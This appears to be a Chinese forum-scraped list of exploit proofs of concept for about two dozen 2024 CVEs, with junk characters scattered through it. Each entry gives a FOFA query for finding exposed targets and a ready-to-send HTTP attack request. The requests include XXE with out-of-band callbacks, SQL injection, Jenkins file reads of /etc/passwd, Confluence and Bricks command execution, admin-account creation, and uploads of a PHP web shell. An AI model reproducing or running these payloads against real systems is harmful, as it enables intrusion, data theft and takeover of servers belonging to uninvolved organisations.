- d2 Y8 L7 H0 }9 W( q7 R; `4 qPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
/ T5 V5 H/ q# l0 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
; V  N# I4 \. tAccept-Encoding: gzip
/ K3 q. d. l( ?# L: c4 s( j
0 I! n# w5 [+ b. x<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

, W, [) i/ V- H" w103. Ivanti Pulse Connect Secure VPN XXE
2 Y6 |- y9 |- h$ z! y: ^CVE-2024-22024
- S, \% b1 p# Y: e" ?3 O$ oFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
0 e9 N6 C, `# {: l# b7 F% tHost: 192.168.40.130:111
. }+ l% t: R1 ~5 \2 \% NUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
$ j) u6 `: b  WContent-Length: 204
Content-Type: application/x-www-form-urlencoded
) F! g7 ]  K3 JAccept-Encoding: gzip
! w* H  }/ @8 c) ]
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


6 ?0 ^, X7 O9 u) {- [其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

! h8 }: c  r9 i& L
' E6 y1 ]. p" B0 O! d  J104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
; y% u& H" {. ^5 _3 D, dFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
% Q% v9 d3 ^3 XHost:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
& h- S& c. ~0 e) \  L. V" @X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
* q2 H9 [& |3 s+ j" K: A  x& S( QOrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
) P% h3 g4 j, K# r1 xAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
4 r7 ]9 X: f  \/ `2 j7 R
* x, K. T, P$ @) m{
- ]0 |( s7 L3 }4 }"topicurl":"getSysStatusCfg",
. I; ]8 L# H- d) q/ r9 A"token":""
4 Z% D. S) Q& c}
5 H4 y7 T: y2 H3 q+ z% ~/ q% Q% J
105. SpringBlade v3.2.0 export-user SQL 注入
2 a3 {0 I0 B: ^! b- JFOFA：body="https://bladex.vip"
$ A' R: o5 T4 l# H' G  zhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
( t+ H$ L0 L, o+ R& e
106. SpringBlade dict-biz/list SQL 注入
; P, ^: ~- Y& f. l9 m0 k# A0 yFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
. E3 E# A/ O2 K- R& \5 j, eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
) B9 a/ A5 i6 |3 d3 F" T
0 g: J, w& f! y# K) h% H
107. SpringBlade tenant/list SQL 注入
9 X4 y9 c3 n: ], b. uFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! g. X# }+ [7 p9 i6 V2 h- ABlade-Auth:替换为自己的
Connection: close
/ _1 `9 Z! |5 K
/ b! F1 a" s& q' ?* A
108. D-Tale 3.9.0 SSRF
CVE-2024-21642
5 Q' O: T! \: Q+ i  q% w9 {. SFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
: i3 L  L4 @+ X' N$ N' a) ~Accept-Encoding: gzip, deflate
' z! i+ r: m5 j& S0 E% l6 a: z3 i4 nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

) P* s- f5 q" |: C
0 H2 X, L  j, ~2 i; k109. Jenkins CLI 任意文件读取
% u* S% o4 W( E  q* M. L/ E; RCVE-2024-23897
. \4 w7 T, j' l2 W: IFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
  s0 I4 w# p7 h7 f, j' R1 {Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


* c" j" H" g6 A/ a; `% nPOST /cli?remoting=false HTTP/1.1
  _" O; \4 N2 h9 @: KHost:
* b2 d" @$ Y5 \/ k. hSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
/ ?, _, l9 V% [: I" S$ A; Ndownload
; x  D) _0 `" _9 HContent-Type: application/x-www-form-urlencoded
Content-Length: 0
5 @6 C# h& d. ~5 ]

: w7 U" x; i) _, B8 h& D& |ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# S! K$ F7 ^0 }$ q4 {+ B* ujava -jar jenkins-cli.jar help
[COMMAND]
7 Q% a& }" w- A+ _+ W: z- QLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
: c" S; |) t: A! s$ z+ [
; ]' s" {1 b7 u3 c
" k: h3 e+ q2 w* E9 S1 t110. Goanywhere MFT 未授权创建管理员
" @" y* \" ?+ k( [- h) ?CVE-2024-0204
2 t: ?( O  _1 H  I! r2 ]* YFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
7 c( K! y5 y% U$ U3 P9 d& PGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
4 L* h2 B  o, Z: ~Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
. X4 l2 Y+ @2 T" u7 U" vAccept: */*
9 ]. I& I) z, L* d8 QAccept-Language: en
' y' s+ i. d5 j" [& }+ E0 tAccept-Encoding: gzip

' ~/ Z/ ^2 m' y8 {. C' p) r# [
111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
8 C, ~* ^# E3 V0 M( ~  L. @5 zFOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
2 T4 ~  q; J  M" U& uHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
: u; A. C1 h% ]- k' V3 xConnection: close
1 f& T. X( n6 NAccept: */*
) X5 g+ g5 M) P! c% vAccept-Language: en
* r2 Y3 I3 p- {Accept-Encoding: gzip

1 K0 F5 {& k; n+ x3 B
" l; e1 v, K2 _& H112. WordPress Plugin NotificationX SQL 注入
- k7 I/ M0 D2 c# P' B' pCVE-2024-1698
  @8 K* J0 p6 C* J$ bFOFA：body="/wp-content/plugins/notificationx"
/ J( w; C2 u1 X4 r* f, P; ^POST /wp-json/notificationx/v1/analytics HTTP/1.1
5 K1 a! K( t: uHost: {{Hostname}}
Content-Type: application/json
' d! I5 g5 F) x8 }7 l+ I4 P# W
6 ?! v3 O3 ^5 [5 E: `; @1 T{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
! [! ]" v  R% A3 ^# E& F

) U7 c& P7 V  ?113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
* S1 p$ A7 q( [( Y3 gFOFA："/wp-content/plugins/wp-automatic"
+ Q- O. Y& L1 F9 g  Z% c2 pGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
6 q' }* D. J( G- b. R9 j( r. kUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
: q8 E7 B+ p2 T3 W7 B4 }Connection: close
Accept: */*
+ m+ H1 Q* I3 t" M" `5 @Accept-Language: en
Accept-Encoding: gzip
- p; }; U! a6 ?6 |, L

114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
8 U8 t4 ?3 X, l0 eGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
( A* }8 s. [9 yHost: your-ip
2 \& Y" S0 `( q" \5 uUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
2 u! ^, j( J. Q! @: h2 R- o3 |% OAccept-Charset: utf-8
. C# ]0 c( }1 H% ?Accept-Encoding: gzip, deflate
Connection: close
0 a8 C. {  }2 ~- E1 ?" W1 |4 p
  T! n' z/ `/ S9 V5 t4 a
* L6 _: [. F6 i* C7 e3 g115. WordPress Bricks Builder <= 1.9.6 RCE
! O: E0 X) x# VCVE-2024-25600
) L) U) w( J+ O( O( z; YFOFA: body="/wp-content/themes/bricks/"
7 r! {% \& U3 n# G第一步，获取网站的nonce值
GET / HTTP/1.1
* H/ m( g9 p/ c: [Host: x.x.x.x
- u0 S5 ?4 E. }$ r2 FUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip
: {' v4 D2 E& q; g, Z
7 s: g) @0 q* b# `
7 Y3 M  d/ s" n  N' I. w: y: c9 E第二步替换nonce值，执行命令
2 O0 G) h9 Q/ v1 B  T4 KPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
0 g( \9 ?) y+ g0 ]. ?( {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
, V; x+ L( x2 Q6 {) ]. n
{
6 }+ v4 _$ C4 d& G"postId": "1",
9 z: z7 d( h7 ^, y2 g% v) m  "nonce": "第一步获得的值",
6 C! B; I, Y! K+ e  "element": {
% S: i$ r9 n( ]8 S    "name": "container",
    "settings": {
  f. [/ q4 k& Q5 e( ?      "hasLoop": "true",
      "query": {
4 B( }2 p) B2 f        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
; x. z7 u6 i( b% ]3 N* v        "objectType": "post"
' C. o8 o$ t2 z% ~# ?2 s/ c      }
    }
  }
0 R$ f) q6 J- [1 H, a) r; ^}
: a0 B, d7 I0 w$ }3 E1 g6 Z
$ Q7 q* b% h! z% Y6 q! B
9 f' {6 {# ]9 d4 r4 ]116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
, n! u2 N; m0 q+ P, B4 qPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
2 y8 K  J/ t7 q4 |  ~Host:
/ }: b9 j0 D: a# n) V$ yContent-Type: multipart/form-data; boundary=--------767099171
5 O7 f/ ]+ L4 l* R% G( @User-Agent: Mozilla/5.0

) B. f1 q$ l( A6 |+ B2 {' }----------767099171
Content-Disposition: form-data; name="action"
5 ^) X! v: d% tconfiguration_saveconfiguration
----------767099171
0 w  ]1 t% i& s! ]4 p/ BContent-Disposition: form-data; name="form_request"
jssupportticket
9 a7 T* ]3 O3 C/ Y/ `----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
4 m# I/ P" I+ G  _* e3 @, E0 \5 WContent-Type: image/png
----------767099171--
- A: P& _: g: ]' C1 [' y% I) d+ a
, k: K2 V5 E( {! w) Z( t5 H
1 K* Q3 s; z* E7 f117. WordPress LayerSlider插件SQL注入
2 i2 Z" G% x# wversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
. g2 ~4 L3 I; H+ g! _; Z: T- eGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: D5 d1 Y9 @4 G; JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 w. j" D, h/ r' Z/ d9 PAccept-Encoding: gzip, deflate, br
0 y2 X) J! j' H# d. \% j: h5 yConnection: close
+ d% }9 H! v7 W% _% \Upgrade-Insecure-Requests: 1

% J6 o/ O+ l5 l, e' [
6 N; ?; R. i: h1 m; C( q9 E  I7 Y118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
! ]  d8 d% b# N3 l2 y. dCVE-2024-0939
  q: h1 P6 g$ L/ ^- _! _FOFA：title="Smart管理平台"
" {0 ]6 G8 l; P* K2 F" b' JPOST /Tool/uploadfile.php? HTTP/1.1
+ p1 o" y1 n8 A3 |( vHost: 192.168.40.130:8443
2 R8 }# `  n% k  M9 [2 E3 xCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
; h9 j; {# M" A. g  t/ j7 nContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
: T! }& ^+ b# M5 {2 gSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
; p( R5 c; |( R, Q; @$ p4 JTe: trailers
Connection: close
0 A" R# s1 O1 B% i4 d
" P: y2 a) D: X2 H-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
4 J% m) E7 J- R; s, P, |
3 [6 G9 J; W  E) w<?php
system($_POST["passwd"]);
?>
  |, G, r# b' q$ A+ ]0 W( \8 [6 r-----------------------------13979701222747646634037182887
$ h) U3 B! \+ {1 k' hContent-Disposition: form-data; name="txt_path"
0 A" s7 e7 h$ S) P. D; ~) F! Y9 e; \
/home/src.php
-----------------------------13979701222747646634037182887--
" P  T+ o/ o- @5 H2 z' V. _
# v1 r# m) U2 k9 T
4 T- _0 S  X1 T" L5 H; R( f" [访问/home/src.php

5 |' ?: i' {4 h119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
9 x: m, l2 T# h3 l' D3 L8 D$ K% gFOFA：title="Smart管理平台"
! |7 l$ g# {2 I+ u( S( |( o, @先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
+ p$ X% L2 m( t8 n& }0 P5 K3 `Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
- A, c  p  f! |9 COrigin: https://58.18.133.60:8443
9 ?+ r. v5 J: a; iReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
2 o# n2 K2 N9 z8 w# QSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
  L- h+ D: i! h7 [0 vSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
  d: w0 \- q1 MX-Originating-Ip: 1.1.1.1
- }$ y6 G9 j$ C% j7 R( i, |3 K% J8 EX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
/ l6 U$ u+ \& XTe: trailers
, f/ c) x8 k& S- A/ B$ {Connection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
; u0 P! ?5 O/ }' g) ?" L
( J9 z, Y# v! B* V* [& i6 ~
" d/ x5 v5 Q# f, ^! M120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
; s) e0 E( I' F* @* cUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
: D; `+ ]: K1 I4 i( wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ c' O% C. V' b8 s8 uAccept-Encoding: gzip, deflate
% _6 T% L* a" e& _& fContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
* Y+ M, i5 w5 AContent-Length: 597
7 G6 G: A) y3 _; K2 @# I# R9 m# ]- UOrigin: https://ip:port
5 T) y5 P( X7 Q& E; i8 z. F4 LReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
. {1 I' _# x4 D+ C" c# @! U- CSec-Fetch-Mode: navigate
( X  {9 i* a, K& t  j, E- F3 q9 H( TSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
- |( p6 J0 S+ x  Z$ O1 e' XTe: trailers
, a& `1 Z2 k$ u' b( XConnection: close
# d" n; C2 y) {
$ Y+ q" f6 Y6 F% Q  h% i/ P-----------------------------42328904123665875270630079328
6 ]. G) w+ L- e- G( c3 n7 R: CContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
: F. D6 x- j! J0 r) n+ P
2 k% f( l. [- I( D<?php phpinfo()?>
% @6 {( \1 H+ P* u$ k-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

* y1 ]) Y9 Q8 g, i; e1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
( `, p8 S$ T+ G' f: [4 ]-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

  g7 \5 N1 E, R; V5 n8 G8 \4 ]- R: iimport
: c- k# Z4 u/ Z-----------------------------42328904123665875270630079328


文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
$ ^/ K/ I2 h! R. hCVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
3 ?; n6 L* D+ F* F6 K' ?2 rHost: 192.168.40.130:8443
9 N: q: R" n" T- y8 |3 _Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
+ e7 ?& c; ~3 ?. M' V! q. VUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
/ |9 w: p5 I; DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: ~  n0 O* K; k. }6 dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
3 Z; O1 x1 e, [: J8 a5 nContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
' I9 F4 Z: P6 a1 X! qContent-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
& @2 i9 m0 L, VSec-Fetch-Dest: document
2 b3 \1 c; f' ~# kSec-Fetch-Mode: navigate
( S5 T" c" t$ B  [Sec-Fetch-Site: same-origin
: R" h2 Q$ q# J$ ^1 w2 wSec-Fetch-User: ?1
9 r9 S$ r9 q3 P+ N% n2 JTe: trailers
3 p) l: z- K5 Z9 z9 U' ?0 CConnection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
9 M4 A" @. i4 I* c- X4 C9 T0 g-----------------------------42328904123665875270630079328
9 y7 x% z  W+ M$ @, eContent-Disposition: form-data; name="id_type"

: p5 f# e. J" i( `+ q  R1
8 K& b2 e4 O, ~2 b-----------------------------42328904123665875270630079328
8 n" _' M7 o  P( ], d# _Content-Disposition: form-data; name="1_ck"
/ J8 V" `: ~7 g% J. K7 r
1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
2 w$ t  w7 q1 T5 R  \
1 Z8 e5 l% I# \) \set
8 @9 B3 T' a; e0 `; m; x-----------------------------42328904123665875270630079328

/ [4 h5 F% h" K% E$ t+ ]
% v" ]6 @  j4 I9 V8 v1 N* O# ^boot/web/upload/weblogo/1.php
5 E& P( P" {9 `  D
' k* U: ?. X5 g# ]7 ?122. 北京百绰智能s200管理平台/importexport.php sql注入
5 O3 @: i- J( K) t* H* w# y2 aCVE-2024-27718FOFA：title="Smart管理平台"
, R- h' @; f% }* T  M* W$ L0 z其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
: H8 v/ ~$ {8 [GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
. F6 \) ^+ `9 a" ~. |4 z- ~1 JCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
3 V8 l6 v9 }- b) HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
7 ^+ E2 b. G, uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 x) ^' H6 c  ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) h# W* ]& b4 S: K4 D$ O$ A7 t1 ]5 nAccept-Encoding: gzip, deflate, br
& h. m& K! q) p$ Z: E3 H! nUpgrade-Insecure-Requests: 1
5 G9 l8 n% t5 a; lSec-Fetch-Dest: document
( L( }6 n) H# z7 P+ _: jSec-Fetch-Mode: navigate
) w6 S% F) L! ?) GSec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
0 q; ?2 e* y1 ?- [
8 o, P: C/ u! H/ X- R% u4 n+ z
; M! e# D" t9 x* u% y; D+ S123. Atlassian Confluence 模板注入代码执行
4 @- l3 G6 }! v( B# l# JFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
/ y- M4 g7 j" L5 k0 z4 U5 N6 wPOST /template/aui/text-inline.vm HTTP/1.1
; V" W$ y4 Y! H4 s7 l' S4 ]: I$ KHost: localhost:8090
& X# A# b& x- T1 ~9 R4 K9 p( ^  dAccept-Encoding: gzip, deflate, br
/ K2 w/ |0 ^, d0 m1 {1 OAccept: */*
% p  O1 N5 ]0 ]3 v4 \! d) o; ~3 pAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
. _$ e& ~! @4 X4 sConnection: close
Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

: J" A4 z: V, E/ [& G, ^
124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
7 A8 G$ P6 m, Z- Z* G' }User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
9 }4 T* Q# c4 _6 KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
- J' P4 f8 \/ s* GAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 g) M! K/ t  L: _" AConnection: close
Content-Type: application/x-www-form-urlencoded

4 H& [; F- m$ b* i$ a4 xfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


8 M! c0 M- i0 u4 _! j& s4 B6 a( Nhttp://192.168.40.130:8282/Scripts/abcgcg.aspx

# B  t& a  Z/ I2 K125. ConnectWise ScreenConnect身份验证绕过
( R0 P; E2 r+ s, QCVE-2024-1709
4 M8 f. z9 Y5 u" `. s7 wFOFA：icon_hash="-82958153"
' T) ^9 s# {, o0 U! h# _https://github.com/watchtowrlabs ... bypass-add-user-poc
- Y0 w( e  R8 _
6 \6 O& ?+ A/ |1 x0 X; D2 q% \
7 s) i9 j/ H* \6 H使用方法
1 y% W' A' l4 Cpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


) m  a* l. \' `1 d创建好用户后直接登录后台，可以执行系统命令。

" a9 ?! S5 s. ^7 z7 l3 ~126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
& H1 O1 e& r. w4 v% X8 ^Host: x.x.x.x
